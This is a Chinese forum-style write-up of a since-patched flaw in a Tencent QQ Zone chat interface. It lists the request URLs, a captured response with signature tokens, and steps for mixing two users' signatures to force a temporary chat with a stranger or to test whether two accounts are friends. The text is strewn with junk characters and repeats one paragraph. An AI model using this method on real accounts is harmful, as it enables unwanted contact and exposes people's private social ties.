|
|
今天在网上看到有人发了强制聊天的工具,是web版的,于是谷歌了一下。找到了由杨元公布在乌云网上的bug,顺便测试了一下,可惜腾讯已经修复了。(表面上腾讯忽略了杨元的报告)+ g0 e& ?5 D: n! o. e! _
在QQ空间中,有一个谁看过我的功能,然后我们把鼠标移到他们的头像上,会弹出一个信息卡片。: j! k$ p' e6 P/ A9 g# |/ q
& F4 L: s7 I5 d( R2 C
& B: y$ n0 W( b: l
( i% i. F; p( w* c信息卡片上有一个聊天功能,也就是这个接口,出现了严重的bug。抓包发现聊天的接口为:: g: m8 z/ b- T' |$ j( C
K3 S$ A) L4 f
http://r.cnc.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin=20737302&to_uin=569550119&g_tk=15931607816 K1 N- @& Q4 _% H. r: Z1 i
; ]) {1 B2 f% H6 |) B里边有两个重要参数qzone_uin发起QQ(以下简称sender),to_uin接收QQ(以下简称receiver),指定这两个参数后,请求接口,返回信息如下:1 s# u7 ]/ m: m8 N) C+ f
8 i3 F/ U2 f. ~6 _ f7 b! y/ {
$ s6 u) s& k- V3 V2 X% ^
<script type="text/javascript"> -
6 h0 G" z" X% ]. X! r; Z! C/ a" [7 @<!-- - ; F u) ?; s( G5 @4 F* N$ u
var url = 'tencent://message/?Menu=yes&uin=569550119&Service=112&SigT=ff8847c4116e035fd4b467f691cd9e42c0d413cec47eefb75d5e970421a2376ab400fffb0ea6cb8a&SigU=8a718a0cd8eba14b389fceb5788e72797b8a7eae107b9c43dd56bc7cc21090bccf67158b657963841c529232def3d416761799a1050acaaa29033f62f7fb46b5580fef571e7d82041508e926d65900ae77fae70b9cc4a341b7677c65b215d0327211235a5702bb6564157a3dfc11abe4'; - 3 T4 W1 x/ i8 X; r4 _+ q4 P
location = url; -
; S4 {6 u' P6 @0 ~! x% k0 _//--> -
- </script>
3 [1 ?/ f, o$ I) s i
8 j: O/ D0 L3 p6 s- n; }; t. O& d( }: f
这里边又有三个非常重要的数据,经过大量实践,发现:uin是接收人的QQ,SigT是receiver的指纹,SigU是sender的指纹。
9 h0 F o+ u. U7 s4 K+ m( ~# i8 E8 u/ K' ?0 K6 L
由此可见,有了这两个指纹,然后访问tencent://message/接口,就可以发起临时会话。
+ C) w) i @, T
$ }2 D% R3 X# s" G* P
4 X! ]+ J/ ~3 K* b; [5 k, o9 y* Q
& u0 l! R2 v, F) v( w4 t
0 Y+ Q8 b, g) q. _; }. `这里边又有三个非常重要的数据,经过大量实践,发现:uin是接收人的QQ,SigT是receiver的指纹,SigU是sender的指纹。
* }4 g3 f. M( F2 G2 L* O
. K) G9 x$ e- l+ P3 C5 M I由此可见,有了这两个指纹,然后访问tencent://message/接口,就可以发起临时会话。
% T0 B5 E1 e/ w' C2 l6 r5 M+ e6 S5 d1 t( ~" r
那怎么实现强聊呢?
& t [* S7 m( ~, B3 G
# e, X# k& `: q, Z+ }小虫直接说结论,想强聊,必须知道自己一个好友的QQ号和被聊人一个好友的QQ号。这两个条件均不难实现,自己的QQ好友您还不知道么。。。而被聊人的QQ好友,也是很容易获取的,比如你想和你同班的美女聊,那么班主任的QQ就是切入点。0 @0 m/ J% |" y4 H) D1 Y9 @
- f9 A8 k0 d3 Q" `. w4 b; ~: p为什么需要这么奇怪的条件呢?小虫直接演示。
4 I; |, g: c( H% V1 e+ s3 d8 C& n
( _7 [2 N( z& c8 y0 G假设有四个角色,分别是A(发起人),AF(发起人好友),B(接收人),BF(接收人好友)
+ J/ r0 h! v! [6 t$ ]
5 Q5 a6 e! p! ]1 i: d4 L第一步,我们需要在A和AF间建立一个通道,将A作为聊天的发起人,可以这样构造URL:3 k. ~' J$ D y& C( N6 w; i' i
! S* H" n) X F% u/ ?9 F
http://r.cnc.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin=A&to_uin=AF&g_tk=1593160781* p4 g. E; ~8 j
5 P0 l$ T* |+ ~8 q, j7 `
3 U) `0 b3 t9 j2 W* N! k在服务器返回的参数中,我们拿到SigU参数,这个也就是A作为sender的指纹。
7 T" o6 n# v2 ?& T, i% R% x5 r: M+ {4 P# R: v" C/ v, l3 m6 J' q4 E
第二步,我们在B和BF间建立一个通道,将B作为聊天接收人,可以这样构造URL: E* g0 `5 q; ^3 ]* t5 A
) @1 j! W' k& ]* y- m7 d
http://r.cnc.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin=BF&to_uin=B&g_tk=1593160781
/ ?4 @. N0 [% U7 E, G! k- T9 C: m4 w5 s/ @( T, B
6 d" f, `. T% F9 X& q
在服务器返回的参数中,我们拿到SigT参数,这个也就是 B作为receiver的指纹。
( m, g$ H0 v5 r; R! K& L' W2 { }% K: l: _
接下来我们把这两个指纹混合在一起,访问tencent://message/接口(别忘了加上最基本的uin参数,接收人QQ),恭喜,可以聊天了! {+ Z6 ~3 S: k s
& d% p2 a: [, p0 N! d0 x1 U
等等,好像有大问题,假如B和BF不是好友呢?我们并不能保证他们一定是好友,也就是说,我们是猜的。! Y. [$ r% B/ J
7 z* [* m* \! n# |
/ `7 `; W5 \$ o/ j( A, P6 O+ i/ Z
聪明的你可能已经发觉了,这个接口可以测试两个QQ号码是不是好友(前提是被测者未开通QQ在线状态,如果一方开通了这个服务,可以尝试将sender、receiver反过来)!!!
* X7 A1 t' p: P3 ?7 P, E8 Z. a7 G
这是多么邪恶的接口!
7 \$ x( n$ q, V- z7 W8 O8 X3 s9 p
8 V0 C2 V5 [5 X6 c( f' p不法分子可以通过这个接口收费帮别人测试好友,进而导致情侣隐私泄漏,夫妻感情破裂,进而导致社会不和谐,进而导致生产力下降,进而导致科技停止发展,严重阻碍人类进化。
8 u3 r+ J* E/ {9 J) Z5 j
& D# D* a; l/ U最后,补充一句,通过这个方法发起的临时会话,即使没有开启QQ在线状态服务也是可以的,除非你屏蔽了所有临时会话。
* ?( X7 C- B- ~& y! d- E2 L8 @( }9 E3 R9 N# s2 _1 v( d
|
|